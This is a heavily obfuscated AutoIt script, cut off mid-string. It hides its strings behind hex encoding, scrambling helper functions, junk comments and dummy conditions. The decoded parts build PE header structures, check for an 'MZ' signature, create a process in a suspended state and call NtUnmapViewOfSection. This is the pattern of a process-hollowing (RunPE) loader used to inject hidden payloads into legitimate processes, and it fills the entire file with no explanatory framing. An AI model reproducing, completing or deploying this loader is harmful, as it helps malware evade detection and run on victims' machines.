; FjP1zLpHW3ReKwlUg8MWtJuLjmJv7u3cQ6Sx6YnfN9tBaZPPaEKK04g7OcBgiEByCXBcx4QBTEZlsYNgo6lKs6f3COJw9mI7CjkDmroaUxq7zdeBZ77p237myqNMHm7yFtciCJQJftHlPqiEHx0ZFfvJEvy6QHgkCmFE0pA8d3W8tBiETaqo07vahDIAuZANB
 LOcAl $6aac0c8519cf9c8aebae622b99d83e51c5d3bb356bd5cda10f926490 = ExEcuTE(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x2" & "037" & "326" & "664" &  _ 
"656" & "564" & "396" & "235" &  _ 
"346" & "462" & "643" & "631" &  _ 
"383" & "334" & "373" & "336" &  _ 
"373" & "032" & "303" & "363" &  _ 
"666" & "163" & "346" & "338" &  _ 
"653" & "837" & "333" & "362" &  _ 
"282" & "465" & "6E7" & "94C" &  _ 
"617" & "269" & "6E2" & "042" &  _ 
"202" & "65B" & "277" & "465" &  _ 
"427" & "928" & "277" & "465" &  _ 
"656" & "143" & "726" & "374" &  _ 
"727" & "553" & "746" & "C6C" &  _ 
"294" & "45D" & "272" & "027" &  _ 
"202" & "620" & "292" & "020") ) ) ,78) ) 

DllStructSetData($6aac0c8519cf9c8aebae622b99d83e51c5d3bb356bd5cda10f926490  , 1, $3b73e8c8c4fa3c207036478361bd4db5d9eefd72    )
Local $b42c09b070f11f83a07c85ca8e122afd1a4f34cbd77e70f199016678   = DllStructGetPtr($6aac0c8519cf9c8aebae622b99d83e51c5d3bb356bd5cda10f926490  )
Local $53392bc79afafb95d3f5239ec35cc0e9a40d8688   = DllStructCreate(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x3" & "B69" & "636" & "167" & "5F6" & "D20" & "655" & "244" & "574" & "F65" & "776" &  _ 
"16E" & "6C6" & "665" & "5F4" & "420" & "4F5" & "23B" & "573" & "05D" & "5B3" & "173" &  _ 
"327" & "265" & "655" & "F44" & "204" & "F52" & "3B5" & "766" & "6F6" & "96E" & "656" &  _ 
"D5F" & "6F2" & "065" & "524" & "457" & "4F6" & "43B" & "6D6" & "96F" & "656" & "55F" &  _ 
"442" & "04F" & "523" & "B57" & "345" & "D73" & "5B7" & "265" & "655" & "F44" & "204" &  _ 
"F52" & "3B5" & "76E" & "6F6" & "F76" & "655" & "F44" & "204" & "F52" & "3B5" & "76C" &  _ 
"636" & "172" & "6C6" & "665" & "5F4" & "420" & "4F5" & "23B" & "576" & "373" & "655" &  _ 
"F44" & "204" & "F52" & "3B5" & "769" & "706" & "55F" & "442" & "04F" & "523" & "B57" &  _ 
"756" & "D63" & "736" & "55F" & "442" & "04F" & "523" & "B57" & "737" & "065" & "5F4" &  _ 
"420" & "4F5" & "23B" & "577" & "373" & "655" & "F44" & "204" & "F52" & "3B5" & "76F" &  _ 
"636" & "C6C" & "786" & "16D" & "616" & "55F" & "442" & "04F" & "523" & "B57" & "6F6" &  _ 
"36C" & "6C6" & "E61" & "6D6" & "965" & "5F4" & "420" & "4F5" & "23B" & "576" & "472" &  _ 
"726" & "870" & "615" & "F63" & "206" & "552" & "445" & "74F" & "633" & "B72" & "6C5" &  _ 
"F63" & "206" & "552" & "445" & "74F" & "703" & "B5F" & "632" & "065" & "524" & "457" &  _ 
"4F7" & "03B" & "626" & "C5F" & "632" & "065" & "524" & "457" & "4F") ) ) ,13) , $b42c09b070f11f83a07c85ca8e122afd1a4f34cbd77e70f199016678  )
If 268 > 103 anD DllStructGetData($53392bc79afafb95d3f5239ec35cc0e9a40d8688  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "D65" & "5F6" & "963" &  _ 
"616" & "7") ) ) ,3) ) = 23117 aNd 136 <= 178 ANd 137 <= 260 Then
$b42c09b070f11f83a07c85ca8e122afd1a4f34cbd77e70f199016678   += DllStructGetData($53392bc79afafb95d3f5239ec35cc0e9a40d8688  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "C66" & "655" &  _ 
"F65" & "776" & "16E") ) ) ,4) )
Local $bbb5024732f7ee378c4fee35e10df4abebb8566fe252680fcccdb63280190cb19970cddbdabda01e60ae3ce31a61bca1c8817af96ef94ccc479b1e710b391740   = DllStructCreate(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "841" &  _ 
"3B4" & "372" &  _ 
"657" & "475" &  _ 
"6E6" & "169" &  _ 
"672" & "073" &  _ 
"524" & "457" &  _ 
"4F5" & "D44" &  _ 
"323" & "45B" &  _ 
"324" & "552" &  _ 
"414" & "448" &  _ 
"454" & "C5F" &  _ 
"4E4" & "149" &  _ 
"4F5" & "054" &  _ 
"5F4" & "F47" &  _ 
"454" & "D41" &  _ 
"204" & "941" &  _ 
"524" & "348" &  _ 
"5D3" & "B32" &  _ 
"305" & "25B" &  _ 
"444" & "545" &  _ 
"415" & "F48" &  _ 
"4C4" & "546" &  _ 
"494" & "55F" &  _ 
"414" & "749" &  _ 
"4D5" & "220") ) ) ,19) , $b42c09b070f11f83a07c85ca8e122afd1a4f34cbd77e70f199016678  )
#endregion


Local $ea857bdc7ae99884715f8947c24687b005db40b4   = DllStructCreate(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "E68" &  _ 
"696" & "163" &  _ 
"204" & "D52" &  _ 
"445" & "74F" &  _ 
"733" & "B69" &  _ 
"637" & "374" &  _ 
"726" & "974" &  _ 
"656" & "163" &  _ 
"617" & "243" &  _ 
"684" & "420" &  _ 
"4F5" & "23B" &  _ 
"576" & "572" &  _ 
"616" & "448" &  _ 
"656" & "16C" &  _ 
"6F6" & "E74" &  _ 
"694" & "F70" &  _ 
"4F6" & "67A" &  _ 
"655" & "369" &  _ 
"442" & "04F" &  _ 
"523" & "B57" &  _ 
"6C7" & "362" &  _ 
"6F7" & "96D" &  _ 
"665" & "372" &  _ 
"4F6" & "265" &  _ 
"756" & "D20" &  _ 
"4E5" & "244" &  _ 
"574" & "F3B" &  _ 
"446" & "C65" &  _ 
"616" & "26C" &  _ 
"546" & "26F" &  _ 
"796" & "D6F" &  _ 
"537" & "254" &  _ 
"746" & "569" &  _ 
"6E5" & "06F" &  _ 
"442" & "04F" &  _ 
"524" & "457" &  _ 
"703" & "B61" &  _ 
"6D5" & "374" &  _ 
"746" & "544" &  _ 
"616" & "D65" &  _ 
"546" & "944" &  _ 
"204" & "F52" &  _ 
"445" & "773" &  _ 
"3B6" & "F6E" &  _ 
"746" & "965" &  _ 
"636" & "653" &  _ 
"724" & "F62" &  _ 
"657" & "56D" &  _ 
"204" & "E52" &  _ 
"445" & "74F" &  _ 
"653" & "B") ) ) ,11) , DllStructGetPtr($bbb5024732f7ee378c4fee35e10df4abebb8566fe252680fcccdb63280190cb19970cddbdabda01e60ae3ce31a61bca1c8817af96ef94ccc479b1e710b391740  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x5" & "244" &  _ 
"454" & "541" &  _ 
"5F4" & "84C" &  _ 
"454" & "649" &  _ 
"455" & "F41" &  _ 
"474" & "94D") ) ) ,0) ))
Local $2705e2bdaa0a80927dcd53abe45b8bf7ea6b12c3fb80282b78dea599f15b6e9e   = DllStructGetData($ea857bdc7ae99884715f8947c24687b005db40b4  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "469" & "656" & "366" & "537" & "24F" & "626" & "575" & "6D7" & "34E" & "6F6" & "E") ) ) ,13) )
#cs
1Yqwp6YzbXa4c0nC9LQP1eYheUWsThWxjk4lhRFieNiI6styWbtZGAPHwBobHe19sMcLmDALTVIP4Odl5xXdDhE8fznJ9Z63E6qphBbW
#ce
Local $b00da73dc8d70d1c1121acc2ead358c03016c2dcfe2f4fea6de561d0417a35ca207a61336ce8a669280018448d2a9d56c7e05c9a611f98fa5a884e76be1c07db   = DllStructCreate(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x5" &  _ 
"244" &  _ 
"574" &  _ 
"F3B" &  _ 
"447" &  _ 
"365" &  _ 
"626" &  _ 
"167" &  _ 
"656" &  _ 
"D61" &  _ 
"206" &  _ 
"952" &  _ 
"445" &  _ 
"74F" &  _ 
"3B4" &  _ 
"474" &  _ 
"616" &  _ 
"461" &  _ 
"6F6" &  _ 
"673" &  _ 
"656" &  _ 
"261" &  _ 
"442" &  _ 
"04F" &  _ 
"524" &  _ 
"457" &  _ 
"653" &  _ 
"B6F" &  _ 
"646" &  _ 
"663" &  _ 
"656" &  _ 
"F61" &  _ 
"732" &  _ 
"062" &  _ 
"524" &  _ 
"457" &  _ 
"4F3" &  _ 
"B44" &  _ 
"6E7" &  _ 
"46F" &  _ 
"697" &  _ 
"970" &  _ 
"747" &  _ 
"265" &  _ 
"6E6" &  _ 
"F66" &  _ 
"737" &  _ 
"372" &  _ 
"656" &  _ 
"464" &  _ 
"206" &  _ 
"152" &  _ 
"445" &  _ 
"74F" &  _ 
"3B4" &  _ 
"474" &  _ 
"616" &  _ 
"461" &  _ 
"656" &  _ 
"469" &  _ 
"7A6" &  _ 
"16C" &  _ 
"746" &  _ 
"96E" &  _ 
"696" &  _ 
"E69" &  _ 
"667" &  _ 
"565" &  _ 
"6F6" &  _ 
"97A" &  _ 
"207" &  _ 
"352" &  _ 
"445" &  _ 
"74F" &  _ 
"3B4" &  _ 
"474" &  _ 
"616" &  _ 
"461" &  _ 
"656" &  _ 
"469" &  _ 
"7A6" &  _ 
"16C" &  _ 
"746" &  _ 
"96E" &  _ 
"696" &  _ 
"669" &  _ 
"656" &  _ 
"F69" &  _ 
"7A2" &  _ 
"073" &  _ 
"524" &  _ 
"457" &  _ 
"4F3" &  _ 
"B44" &  _ 
"646" &  _ 
"563" &  _ 
"6F6" &  _ 
"F66" &  _ 
"7A6" &  _ 
"573" &  _ 
"694" &  _ 
"420" &  _ 
"4F5" &  _ 
"244" &  _ 
"576" &  _ 
"E3B" &  _ 
"696" &  _ 
"F72" &  _ 
"737" &  _ 
"665" &  _ 
"657" &  _ 
"26E" &  _ 
"6B6" &  _ 
"C69" &  _ 
"6F7" &  _ 
"269" &  _ 
"6E2" &  _ 
"06D" &  _ 
"544" &  _ 
"542" &  _ 
"596" &  _ 
"E3B" &  _ 
"696" &  _ 
"F72" &  _ 
"737" &  _ 
"665" &  _ 
"657" &  _ 
"26E" &  _ 
"6B6" &  _ 
"C69" &  _ 
"6F7" &  _ 
"261" &  _ 
"6A2" &  _ 
"06D" &  _ 
"544" &  _ 
"542" &  _ 
"596" &  _ 
"33B" &  _ 
"676" &  _ 
"96D" &  _ 
"614" &  _ 
"420" &  _ 
"4F5" &  _ 
"25D" &  _ 
"573" &  _ 
"136" &  _ 
"795" &  _ 
"B6F" &  _ 
"726" &  _ 
"374" &  _ 
"726" &  _ 
"564" &  _ 
"697" &  _ 
"461" &  _ 
"646" &  _ 
"145" &  _ 
"204" &  _ 
"24C" &  _ 
"4F5" &  _ 
"53B" &  _ 
"446" &  _ 
"573" &  _ 
"697" &  _ 
"A64" &  _ 
"736" &  _ 
"16E" &  _ 
"766" &  _ 
"166" &  _ 
"727" &  _ 
"26F" &  _ 
"626" &  _ 
"575" &  _ 
"6D2" &  _ 
"06E" &  _ 
"524" &  _ 
"457" &  _ 
"4F3" &  _ 
"B44" &  _ 
"677" &  _ 
"36C" &  _ 
"617" &  _ 
"266" &  _ 
"646" &  _ 
"56F" &  _ 
"612" &  _ 
"06C" &  _ 
"524" &  _ 
"457" &  _ 
"4F3" &  _ 
"B44" &  _ 
"697" &  _ 
"46D" &  _ 
"6D6" &  _ 
"36F" &  _ 
"617" &  _ 
"068" &  _ 
"656" &  _ 
"F66" &  _ 
"7A6" &  _ 
"573" &  _ 
"694" &  _ 
"420" &  _ 
"4F5" &  _ 
"244" &  _ 
"577" &  _ 
"43B" &  _ 
"6D6" &  _ 
"96F" &  _ 
"6D6" &  _ 
"B63" &  _ 
"616" &  _ 
"373" &  _ 
"746" &  _ 
"F66" &  _ 
"7A6" &  _ 
"573" &  _ 
"694" &  _ 
"420" &  _ 
"4F5" &  _ 
"244" &  _ 
"576" &  _ 
"53B" &  _ 
"727" &  _ 
"673" &  _ 
"657" &  _ 
"265" &  _ 
"636" &  _ 
"B74" &  _ 
"616" &  _ 
"673" &  _ 
"656" &  _ 
"F69" &  _ 
"7A2" &  _ 
"073" &  _ 
"524" &  _ 
"457" &  _ 
"4F3" &  _ 
"B44" &  _ 
"637" &  _ 
"374" &  _ 
"696" &  _ 
"973" &  _ 
"657" &  _ 
"263" &  _ 
"747" &  _ 
"261" &  _ 
"686" &  _ 
"16C" &  _ 
"636" &  _ 
"46C" &  _ 
"442" &  _ 
"04F" &  _ 
"523" &  _ 
"B57" &  _ 
"656" &  _ 
"D73" &  _ 
"747" &  _ 
"379" &  _ 
"756" &  _ 
"220" &  _ 
"735" &  _ 
"244" &  _ 
"574" &  _ 
"F6D" &  _ 
"3B7" &  _ 
"375" &  _ 
"636" &  _ 
"B68" &  _ 
"652" &  _ 
"063" &  _ 
"524" &  _ 
"457" &  _ 
"4F3" &  _ 
"B44" &  _ 
"727" &  _ 
"364" &  _ 
"656" &  _ 
"561" &  _ 
"666" &  _ 
"865" &  _ 
"6F6" &  _ 
"97A" &  _ 
"207" &  _ 
"352" &  _ 
"445" &  _ 
"74F" &  _ 
"3B4" &  _ 
"467" &  _ 
"656" &  _ 
"D61" &  _ 
"666" &  _ 
"965" &  _ 
"6F6" &  _ 
"97A" &  _ 
"207" &  _ 
"352" &  _ 
"445" &  _ 
"74F" &  _ 
"3B4" &  _ 
"475" &  _ 
"656" &  _ 
"16C" &  _ 
"6E7" &  _ 
"669" &  _ 
"6F7" &  _ 
"273" &  _ 
"766" &  _ 
"533" &  _ 
"326" &  _ 
"96E" &  _ 
"207" &  _ 
"752" &  _ 
"445" &  _ 
"74F" &  _ 
"3B4" &  _ 
"46F" &  _ 
"6E7" &  _ 
"369" &  _ 
"657" &  _ 
"26D" &  _ 
"767" &  _ 
"465" &  _ 
"797" &  _ 
"362" &  _ 
"737" &  _ 
"375" &  _ 
"6F7" &  _ 
"269" &  _ 
"6E2" &  _ 
"06D" &  _ 
"524" &  _ 
"457" &  _ 
"4F6" &  _ 
"E3B" &  _ 
"696" &  _ 
"F72" &  _ 
"737" &  _ 
"665" &  _ 
"656" &  _ 
"D73" &  _ 
"747" &  _ 
"379" &  _ 
"756" &  _ 
"265" &  _ 
"736" &  _ 
"F72" &  _ 
"616" &  _ 
"A20" &  _ 
"6D5" &  _ 
"244" &  _ 
"574" &  _ 
"F6E" &  _ 
"3B6" &  _ 
"96F" &  _ 
"727" &  _ 
"376" &  _ 
"656" &  _ 
"765" &  _ 
"6D6" &  _ 
"172" &  _ 
"696" &  _ 
"E6F" &  _ 
"6D6" &  _ 
"944" &  _ 
"204" &  _ 
"F52" &  _ 
"3B5" &  _ 
"76F" &  _ 
"6E7" &  _ 
"369" &  _ 
"657" &  _ 
"265" &  _ 
"766" &  _ 
"167" &  _ 
"696" &  _ 
"D6F" &  _ 
"726" &  _ 
"16A" &  _ 
"206" &  _ 
"D52" &  _ 
"445" &  _ 
"74F" &  _ 
"6E3" &  _ 
"B69" &  _ 
"6F7" &  _ 
"273" &  _ 
"766" &  _ 
"565" &  _ 
"6D7" &  _ 
"374" &  _ 
"737" &  _ 
"96E" &  _ 
"677" &  _ 
"469" &  _ 
"726" &  _ 
"170" &  _ 
"657" &  _ 
"26F" &  _ 
"6E6" &  _ 
"F6D" &  _ 
"694" &  _ 
"420" &  _ 
"4F5" &  _ 
"23B" &  _ 
"576" &  _ 
"F6E" &  _ 
"736" &  _ 
"965" &  _ 
"726" &  _ 
"D76" &  _ 
"746" &  _ 
"579" &  _ 
"736" &  _ 
"773" &  _ 
"696" &  _ 
"E61" &  _ 
"746" &  _ 
"572" &  _ 
"6F7" &  _ 
"06F" &  _ 
"726" &  _ 
"16A" &  _ 
"206" &  _ 
"D52" &  _ 
"445" &  _ 
"74F" &  _ 
"743" &  _ 
"B65" &  _ 
"6E6" &  _ 
"E6D" &  _ 
"696" &  _ 
"761" &  _ 
"6C6" &  _ 
"C65" &  _ 
"666" &  _ 
"944" &  _ 
"204" &  _ 
"F52" &  _ 
"445" &  _ 
"774" &  _ 
"3B6" &  _ 
"56E" &  _ 
"6E6" &  _ 
"D69" &  _ 
"676" &  _ 
"16C" &  _ 
"6F6" &  _ 
"E74" &  _ 
"696" &  _ 
"563" &  _ 
"207" &  _ 
"3") ) ) ,215) , DllStructGetPtr($bbb5024732f7ee378c4fee35e10df4abebb8566fe252680fcccdb63280190cb19970cddbdabda01e60ae3ce31a61bca1c8817af96ef94ccc479b1e710b391740  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "541" & "444" & "845" & "4C5" & "F4E" & "414" &  _ 
"94F" & "505" & "45F" & "4F4" & "745" & "4D4" & "152" &  _ 
"49") ) ) ,20) ))
Local $dcc31a8f8d1d5a4e2372b585928dbc7d9b1e6295   = DllStructGetData($b00da73dc8d70d1c1121acc2ead358c03016c2dcfe2f4fea6de561d0417a35ca207a61336ce8a669280018448d2a9d56c7e05c9a611f98fa5a884e76be1c07db  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "561" & "676" & "96D" & "736" & "562" &  _ 
"61") ) ) ,5) )
#cs
HYMm9ufZmoTJl25qTX5hpEqIQwGga94X9TpmkNPcZZm8r1ueCKVy5qszUpCTdQPhoe8asWvvXcse4Ff8Fgi3aaOAmL8V6GEBCR0EW3Dz063UzFxb1zpUu1OP8sAtDKM4QLqXNw
#ce
#region wGuAt

Local $24523d1eaed0952e94c0ec5983f887741ddeeb73297397e1f0fc12607579c822   = DllStructGetData($b00da73dc8d70d1c1121acc2ead358c03016c2dcfe2f4fea6de561d0417a35ca207a61336ce8a669280018448d2a9d56c7e05c9a611f98fa5a884e76be1c07db  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "561" & "676" &  _ 
"96D" & "6F6" & "67A" &  _ 
"657" & "369") ) ) ,0) )
Local $71fd0a0f6c477d42a6d586aa08272bd1b2b0b2e7dcdac615032f5d30f0d195f8   = DllStructGetData($b00da73dc8d70d1c1121acc2ead358c03016c2dcfe2f4fea6de561d0417a35ca207a61336ce8a669280018448d2a9d56c7e05c9a611f98fa5a884e76be1c07db  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "970" & "6F7" & "279" & "6E7" & "466" & "657" & "36F" & "657" & "364" & "726" & "164" & "6E7" & "4") ) ) ,17) )
Local $3380569b61295e3af4a7e961e42f4b0946a6849e421fe22ae4cc5a2d004e5f4e   = DllStructGetData($b00da73dc8d70d1c1121acc2ead358c03016c2dcfe2f4fea6de561d0417a35ca207a61336ce8a669280018448d2a9d56c7e05c9a611f98fa5a884e76be1c07db  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "372" & "736" & "465" & "656" & "166" & "686" & "56F" & "697" & "A") ) ) ,1) )
$b42c09b070f11f83a07c85ca8e122afd1a4f34cbd77e70f199016678   += (DllStructGetData($ea857bdc7ae99884715f8947c24687b005db40b4  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" &  _ 
"C48" &  _ 
"6E6" &  _ 
"169" &  _ 
"6F7" &  _ 
"074" &  _ 
"664" &  _ 
"F65" &  _ 
"4F6" &  _ 
"97A" &  _ 
"725" &  _ 
"364" &  _ 
"656" &  _ 
"561") ) ) ,15) ) + 24)
#endregion


Local $1c3e1fc56beb160988d0255a7a2ee01be10a7ffa   = DllStructCreate(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "520" & "527" & "274" & "686" & "F75" & "737" & "73B" & "646" & "F69" & "6E7" & "757" & "686" &  _ 
"F20" & "537" & "274" & "686" & "F75" & "737" & "33B" & "616" & "746" & "6C6" & "420" & "6F7" & "264" &  _ 
"776" & "53B" & "757" & "469" & "627" & "472" & "417" & "46C" & "6C4" & "669" & "642" & "06F" & "726" &  _ 
"477" & "733" & "B61" & "724" & "368" & "6E7" & "46F" & "755" & "943" & "642" & "06F" & "726" & "477" &  _ 
"733" & "B61" & "724" & "368" & "6E7" & "46F" & "755" & "843" & "642" & "06F" & "726" & "477" & "653" &  _ 
"B69" & "7A5" & "953" & "642" & "06F" & "726" & "477" & "653" & "B69" & "7A5" & "853" & "642" & "06F" &  _ 
"726" & "477" & "593" & "B64" & "206" & "F72" & "647" & "758" & "3B6" & "420" & "6F7" & "264" & "776" &  _ 
"53B" & "746" & "C54" & "697" & "220" & "707" & "470" & "3B7" & "46F" & "736" & "B44" & "657" & "220" &  _ 
"707" & "464" & "3B7" & "665" & "657" & "265" & "732" & "052" & "747" & "23B" & "707" & "A65" & "536" &  _ 
"963" & "626" & "420" & "6F7" & "264" & "776" & "F72" & "727" & "264" & "455" & "374" & "206" & "874" &  _ 
"723" & "B70" & "757" & "474" & "704" & "F75" & "746" & "468" & "537" & "220" & "707" & "474" & "3B7" &  _ 
"075" & "496" & "E74" & "646" & "853" & "722" & "070" & "743" & "23B" & "656" & "472" & "767" & "365" &  _ 
"526" & "572" & "207" & "074" & "323" & "B65" & "647" & "276" & "736" & "5") ) ) ,183) )
Dim $MaUZ1cj1W0HuCy71nNwZXIfyCeqlV2JNhOaGpk1EKlkFNQAkC67aKmhAm8Fvvq9AP9zCl8f60pBfT1rb3URpFEMaavj7brJschQnlXs6nUdPKwPe5sV8dVOoG8N31TjbaNlbTRillnOkzs67V8tAN606HztKrHx
Local $7924c8d8bdfbb2bd7a9952dc5145a19e4537b00dd3121df09e4f266622238a5449eec871baea9a7adc2c042df508c5752d07dfc0abab0e31d114c6d4f613f9e5   = DllStructCreate(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "46F" & "726" & "477" & "643" & "B73" & "496" & "573" & "6F6" & "350" &  _ 
"726" & "477" & "202" & "072" & "647" & "76F" & "3B6" & "461" & "647" & "265" &  _ 
"546" & "820" & "686" & "C65" & "6E6" & "468" & "617" & "33B" & "657" & "36F" &  _ 
"635" & "072" & "206" & "86C" & "656" & "E64" & "686" & "149" & "646" & "164" &  _ 
"726" & "554" & "686" & "477" & "202" & "0") ) ) ,55) )
Local $8f7441015c3efde5bc2c80f5a37308df5d9e2e3d   = DllCall(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "572" & "6C4" &  _ 
"B64" & "6C3" & "22E" &  _ 
"6C3" & "36E" & "65") ) ) ,3) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "C42" & "6F6" & "F") ) ) ,1) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" &  _ 
"373" &  _ 
"636" &  _ 
"572" &  _ 
"6F6" &  _ 
"550" &  _ 
"617" &  _ 
"472" &  _ 
"655" &  _ 
"743") ) ) ,13) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "374" & "725" & "7") ) ) ,3) , $8e534857569c37f52f419bd876e20b235a1a15af    , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "374" & "725" & "7") ) ) ,3) , $d0b4f889d446bb2d495fae505eb8d68fac9fab076c630e4c284a7b201c5c75cf3815be6d042e0d8b7b698cf2085645a0    , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "472" & "50") ) ) ,2) , 0, ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "472" & "50") ) ) ,2) , 0, ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "C42" & "6F6" & "F") ) ) ,1) , False, ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "764" & "446" & "F72") ) ) ,2) , 4, ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "472" & "50") ) ) ,2) , 0, ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "472" & "50") ) ) ,2) , 0, ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "472" & "50") ) ) ,2) , DllStructGetPtr($1c3e1fc56beb160988d0255a7a2ee01be10a7ffa  ), ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "472" & "50") ) ) ,2) , DllStructGetPtr($7924c8d8bdfbb2bd7a9952dc5145a19e4537b00dd3121df09e4f266622238a5449eec871baea9a7adc2c042df508c5752d07dfc0abab0e31d114c6d4f613f9e5  ))
#region vcHqc

Local $7b794f42c55d027b2ad06e82a71c6cc1f1a14bca   = DllStructGetData($7924c8d8bdfbb2bd7a9952dc5145a19e4537b00dd3121df09e4f266622238a5449eec871baea9a7adc2c042df508c5752d07dfc0abab0e31d114c6d4f613f9e5  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "254" & "686" & "468" &  _ 
"656" & "1") ) ) ,4) )
Local $8a7f1bbf9069d071039961b70a063753   = DllStructGetData($7924c8d8bdfbb2bd7a9952dc5145a19e4537b00dd3121df09e4f266622238a5449eec871baea9a7adc2c042df508c5752d07dfc0abab0e31d114c6d4f613f9e5  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "573" & "6F6" & "350" & "727" & "368") ) ) ,7) )
Local $5f9cf87e40047a6a998da9924e3f2f7e1af22fe13e484f9bf260491da9ee3df51b23cc8ccbe8a88ebdb3302bdeed57df   = DllCall(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "E6C" & "6C2" &  _ 
"E64" & "6C6" & "C74" &  _ 
"64") ) ) ,1) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "96E" & "74") ) ) ,1) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "056" & "6D6" & "155" & "6E4" & "E74" & "6F6" & "E74" & "696" & "563" & "665" & "377" & "4F6" & "965") ) ) ,8) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x5" & "074" & "72") ) ) ,1) , $8a7f1bbf9069d071039961b70a063753  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x5" & "074" & "72") ) ) ,1) , $dcc31a8f8d1d5a4e2372b585928dbc7d9b1e6295  )
Local $e78ae28d9271dd84c055528d54f83fda87ae58f2   = DllStructCreate(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "33B" & "675" & "353" & "656" & "420" & "6F7" & "264" &  _ 
"773" & "B20" & "737" & "020" & "457" & "264" & "776" & "F20" &  _ 
"647" & "33B" & "616" & "746" & "6C2" & "045" & "726" & "477" &  _ 
"6F2" & "064" & "733" & "B67" & "435" & "365" & "642" & "06F" &  _ 
"726" & "477" & "3B2" & "069" & "702" & "045" & "726" & "477" &  _ 
"6F2" & "064" & "703" & "B45" & "626" & "420" & "6F7" & "264" &  _ 
"777" & "83B" & "456" & "164" & "206" & "F72" & "647" & "73B" &  _ 
"206" & "378" & "204" & "572" & "647" & "76F" & "206" & "478" &  _ 
"3B4" & "564" & "642" & "06F" & "726" & "477" & "3B2" & "062" &  _ 
"782" & "045" & "726" & "477" & "6F2" & "064" & "693" & "B45" &  _ 
"736" & "420" & "6F7" & "264" & "773" & "B20" & "646" & "920" &  _ 
"457" & "264" & "776" & "F3B" & "644" & "473" & "656" & "720" &  _ 
"537" & "264" & "776" & "F20" & "647" & "33B" & "674" & "553" &  _ 
"656" & "420" & "6F7" & "264" & "773" & "B20" & "467" & "365" &  _ 
"672" & "053" & "726" & "477" & "6F2" & "064" & "733" & "B67" &  _ 
"475" & "365" & "642" & "06F" & "726" & "477" & "653" & "B61" &  _ 
"745" & "374" & "707" & "830" & "4E4" & "372" & "642" & "06F" &  _ 
"726" & "477" & "3B2" & "030" & "5D5" & "B38" & "656" & "141" &  _ 
"726" & "572" & "737" & "467" & "695" & "265" & "652" & "079" &  _ 
"742" & "062" & "723" & "B74" & "6F6" & "563" & "656" & "C61" &  _ 
"536" & "174" & "204" & "472" & "647" & "76F" & "206" & "474" &  _ 
"3B7" & "365" & "666" & "661" & "4F6" & "174" & "204" & "472" &  _ 
"647" & "76F" & "206" & "472" & "3B7" & "46F" & "656" & "365" &  _ 
"6C7" & "253" & "726" & "F45" & "726" & "420" & "6F7" & "264" &  _ 
"773" & "B20" & "657" & "466" & "734" & "F66" & "6F7" & "272" &  _ 
"722" & "045" & "726" & "477" & "6F2" & "064" & "643" & "B6F" &  _ 
"726" & "757" & "546" & "164" & "206" & "F72" & "647" & "73B" &  _ 
"207" & "264" & "576" & "F75" & "736" & "174" & "537" & "464" &  _ 
